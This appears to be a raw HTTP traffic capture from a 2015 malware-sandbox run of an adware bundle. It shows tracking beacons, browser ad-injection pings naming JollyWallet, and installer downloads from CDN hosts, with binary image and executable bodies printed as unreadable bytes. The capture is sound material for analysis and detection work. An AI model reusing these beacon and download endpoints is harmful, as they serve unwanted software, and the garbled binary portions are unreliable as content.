gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 217582
Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT
Connection: keep-alive
ETag: "51ba05aa-351ee"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==......I.
..{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k........
...k......].........Lo......~8...7.....;....u{....u}..!.........[.....
o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]..
<<< skipped >>>

GET /thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 30650
Last-Modified: Thu, 13 Jun 2013 17:47:25 GMT
Connection: keep-alive
ETag: "51ba05ad-77ba"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:71D9E4DE6D23E211AAF983B2253A61DC" xmpMM:DocumentID="xmp.did:6893
0C164B6D11E29DDD9E92BE5DC8BE" xmpMM:InstanceID="xmp.iid:68930C154B6D11
E29DDD9E92BE5DC8BE" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B1100053694BE2118E0D
C678A406B0D7" stRef:documentID="xmp.did:71D9E4DE6D23E211AAF983B2253A61
DC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>......s.IDATx.......y..V.Y...R..n....1.,....a
.f.c.d.........Lr.x.....I2.87....'........`@..#...........V......>.
.-.Ru...TNw...........Z..%.}... ..K..g$..._..s......(h..<..y..9..s.
...._.../.`.......]...{......g#...~.!..L.......l.5..ky.\..............
..y~.........ks|.O..[..W.....C.....@!..1....T...g~C.>[email protected]
...U..~...C....0....JY..w...~N...K.h.....8.........2.Q..../..y. ......
.....2.9..~.....e.e.7@?..P..[..m..........z........m...6..$I.......|.@
.....Q....<u.......O?. .~N.f....[l...%$.....8S]~>.....#.z..]
<<< skipped >>>

GET /thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 172536
Last-Modified: Thu, 13 Jun 2013 17:01:00 GMT
Connection: keep-alive
ETag: "51b9facc-2a1f8"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx.....eUu.:.\...........UQ..l.....1...7.}....<ors.....|.
./....M4..&1F_..h...T.D...h....S......9..s.1.\......,8u..g7k....c.....
...[`.3.......-}.../a....c.!.N..9......S.....Z..?}./V...#.>.....6,.
..M.o.W........0.-....T.N.|.....b}.p.gnGq.P....t.\.....F.G4....o..o...
...px..\.................7........./....._..#..k8x.|..%....G>..?..2
>...>.....R.Y......s.........._.........S..o.:>r....]@q..9.=.
..u......S....(.}~.8T>}.._............../~i.d}.|}..}Z,...A....p.r)R
Z3.,.c..Y..qX..|...<.9..;.}..A4..4.o........I.'u..~.H.~}....b.G....
.8.....A..d_W...#~<.sA/.....}...p2.~-^T.O.r3...4..D..q..>.}kT.kj
......g.......;..o......\......<....?3.y....7....A..O.0....`.......
.....8<>....M...`2.1b.=aY,..)..$... .6.....K..,.U...I....H.Db.i_
8..I.r...;..E........?.m.r?.....wt..J..|...]..|...s..;1...........S...
.e.&.\m2.X....\...c.}Bk=..c.Y.? ..K&.o.........X.....9..Z./'.&....$...
....K7:N.S..8Y.'.b..,..K.......SN....1^.>'.|n..^}.......%K.l.S..b6j
'.S.=....[^..5.;2.x...?..........4]..~}j..\(...@.=c:(^.M..s.:.*.'.E^;.
[email protected].....{.g.xM.i*.....n.gA.T..:..IE.n..........mm....e.aa.x.[...4..
.6~...s...>h......b.<w...4R95.)....S$..b.N]X.. p|.....u.C.......
..@}xR0W.&..X....y..^.....D.SR.` =s<....]^.'......W..x.....G.".....
.p.......d.k>.Y.f..:....%[email protected].>?..\..
...\..w...B9gpx.......... ...........#`./.*.....H.."6Io*.....t..$.....
F....(.0....L.C5..I.=.......`.-@..........."....D..k.iHCy]l%r..W..
<<< skipped >>>


GET /t.ashx?e=W5y9y1UrGBkfAxEXghvnLIuhbiHzJsZX1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KYdJFCqlUjTGXf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:38 GMT
X-Cache: Miss from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5t388zVqOiJev5ntRiIO9m8lmUSsbYmhtSo9g7MEiJWzv5BQjC9QcA==
abfgshdgfjhsk....


GET /t.ashx?e=W5y9y1UrGBkfAxEXghvnLIuhbiHzJsZX1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KYdJFCqlUjTGXf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:38 GMT
X-Cache: Miss from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BvX1spotFs1EKpzDVnPvFff4kZWuUmrsZyaoUApCG31hqGZwRAJHlQ==
abfgshdgfjhsk....


GET /t.ashx?e=W5y9y1UrGBkfAxEXghvnLIuhbiHzJsZX1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KYdJFCqlUjTGXf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:39 GMT
X-Cache: Miss from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UiSneQG1jP5ngD-5ozs5LHI1xUt6jhUXivawXejl8X1emSFNbfKR_g==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:39 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: UiSneQG1jP5ngD-5ozs5LHI1xUt6jhUX
ivawXejl8X1emSFNbfKR_g==..abfgshdgfjhsk..



GET /utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=11554 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:44 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.omniroot.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:35:01 GMT
Last-Modified: Thu, 05 Feb 2015 19:47:05 GMT
Server: ECS (ams/D1C2)
X-Cache: HIT
Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015020
5094606Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H.............g...].R
...<[email protected].... .......v...MM.pos"y.#F..{K........D
.S_.F?.u...........Z"..?.....Q.:4...pm.T.R../{iU..6.........3z3.".....
.a._P.....e.n$-...SCoP..V....l.B.CU!....D..8....O. _....AHl{W=Dc. .(.I
`.h..e..R........I..K...6!.r....>t.l.../.I....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTBHO&bhov=1.0.1.4&rnd=3731&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=572a1153-8705-4466-affe-b5bad540fde1&it=6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:34:02 GMT..Content-Length: 0..



GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZYRTcio4GHUdmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUNj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH&product=EXTFirefox&rnd=1423719207&it=0&action=Inject&text=GoobzoInfo HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:33:22 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:33:22 GMT..Content-Length: 0..



GET /Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: up.soft365.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
Content-Encoding: gzip
14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Thu
, 12 Feb 2015 05:33:47 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=40204-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 281428
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 40204-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5uJsNiyv7zAj9OpPMudzhSX1b1A1DcqXWwO4-zd1kaZyr_G9zi96_w==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=437376-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 437376-583167/583168
Content-Length: 145792
Connection: keep-alive
....5..`....#.*Y.'-.U....>....*ks..d...#.@..%p....oG..._...<....
.M..#...............{......q7...,.bOd.........s..8..<..C...e.......
..q..^1...dR#M..3.=.....j;R... ...)....%.-..B..6.X.......5U./.P....R}.
'..l..C.,N...$.......Gj.v~ .v;...uD.G.2.-L....R.[4..P .!Eg..J......j(.
q...gEu.?J.T.=.(.2..GC.!...O.....T...1...5'.^.).O.....:.."...tZ.s.....
.....~e@..........%....F...."nyw%l.4...O.o{....Pe..d...Y...m.E.......Y
..!...g..K...znz....5....l.-s.......6ONw......,.23.`..zP$cM..n",^./L%p
./....W.hol..p)..(.'..B4.F.."...'.Bp....OB.V......\......_..o.`.. ....
....*ZGA..2K........Y.s5P.aGD.._,.. ....G...a/[.k..j.L.........*i".Q5;
..&..D..f.gh\......c....>...|..c.K..h....4 .U.....7~....l......BQ&l
t;......d_.&...!......nEC..S..^.Sp...m........ _'_......3.><nE@.
..te.c......c.8.......^.~....v.u.#4..3J...rrh...w......S.....J<.l..
.fDu........p.3.""(1.M.:. ..t\2.{p.=.*/c...juSR.q.]....d...r.{.....XfX
[email protected].;.h....=.Xx..Z..$.5....3v..v..!..~W.c.G....)
yL.^.....w.2...`....;\....H.}z{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M
.c'3O..M.n.....s.8.z...o...N.p...h....oj....A..Y.\......<....{.....
E..........S.....QR.~.D.ye&:.`...........W.."].........?g...nb...S fk.
p7...Zr-Y..#H1._&..c.....#3.vS.......=...$.E......A ..Q.......I[...oCS
V....Y. -..O....J.......mOT...]i....A../..ZqJ.u.).F..mF$@#..w87...S`..
OV..........n.VrD...d7.....4..n(Z).zD....<..P...6..[.....7.P..|./..
h.......[|.8..*.0...k......djY...7......o&/....n/.d.........Gw.QtikjM"
..x...g.&....~{k.Wb...!.M.N.N._.=%{.X*C...D.R...."....OT..a5vi..5.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-291584
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 145792-291584/583168
Content-Length: 145793
Connection: keep-alive
{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&..... ....H"...E(y./.Z..6
.U}._...w....o..s..).9..axM.t...*...8J........2}...Yq.M.........G..#..
Y..........=.A...~..R....QL9........VB......E.5t..w ....X.8..o8..y)..E
-0.zP.\..w~..)....<.\..}RX7.o...V..t.}......'.............6o8....L 
.H.....&...R.,.....k..Bf.LJ.......\......0..$.s.u.. ....w..~.)..c.....
.X......[.....[..:...W..k...Z...:...Z.a...C?.......W.=gs..w.\..md..BO.
...Z.....;{.0d.z....".....W....{.W...j2.V.a.....q..,...V......sr;.....
....n.".S.WI..n?........Z....^..7.. }....B.m. .eXsG...%. .K.].'..6..,,
.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(DQ.?.Q..[...!....TV.....
...-c...6..Y.gz.E.......M?... h.C..........@G]C^e...P^....0..d._......
8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n....L..A~DeP.Sr........U
..LV~......T.....]L...s.K.a..........".y..II...{._...A......u...*sg...
......1...S.Jv.hE.x..rX....bF.. ..i ;.........N...`'.-....h$....L;t.)-
.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.u.s.d_Vs.....T..;....}.9
]WR...1o.a......^.).8fR \...3.M.....W}[email protected]....
.7....1M3X.C.......q..Gh.R.... zi=-...p:.8.......].5.W...~K.".co.....W
@..k"rr.d.4<{.....5.....P...W....ZHNC.w.Y.= .}.1.7..u.....N....0..`
...].I...J&p7....w79.......pB.J1.B.>...4.{.M..RB.g..e....1`..s....V
l?v....sW.6..>.L.>.....9f..0~.V.t...m'.=.F....cfA....vN....ae.L 
u7..q..#,H.............:....{j...L.xb.......v....j.5.=6..YEP^.M.R.d..^
{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l.!)....U...&...........B
xfJ$..U..SU...:.g>O./..J.....]....IT.9...h.h.x-..v>...3(...`
<<< skipped >>>


GET /affiliates/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:03:41 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 08 Feb 2015 05:13:41 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HrhZCtbtin55_y0JCMvhHDhMKkyljckrqycZoDyCd-ncH085a0Ac0Q==
1500.............Zks.F......N.......|.-y."!...P.P.... .)".....1S..{...
.R.g.Jl...}.{...>....F7..ZV.T]NO..Pu....?...Q4R..G.c...VEE..I..Y...
...:..Z........?...n...G......o......w>.o.d..U.../......4..`..?~{T.
.d]..i..;.~......y.Q....7i<,..<.....d...|...l.?..t..F.OeU$.....:
Xl..U;8...Q.~.vGw......E.I.....z.7S....q.I..f.q.DW.....U....|..(.u.1..
.z..3..|....A.....:.............P....X$..*.w..........s.;..]..........
u.?..%f...~....S..b...,..........5.(,Qm...w .NK...Y>......u.......}
n..C......8$....)..R..4IuwS....h...*...f.e.q7...<y...I.....:8...s#Z
/M./...B...s..|}[email protected]..)t..uJ.WR..._.LTvz. yV._.L.tz..6 ......
..e.......6.....#b.j.A..yw.[.p.a...6n.6;(u40..8.....&..DT.....EQ..k..J
D.C....zDq....W...X...f.W..D....I.:............~..........f..a.QZ....&
gt;f%.(..n....z.v.u.mCc..].......u$..S..UK<...."T.......dhR.U7i.3..
.....4.K.....6..-..]......'$Y..9$.....U>Et....y....M..M.2x.....`An|
.^.t'O.. !..m>.:8.KZ.........$C...f..Ll...4.<ZGm.$H{Q...........
z..m................p........|C.......i^.W.}'.>..*.....z .=,..7..L.
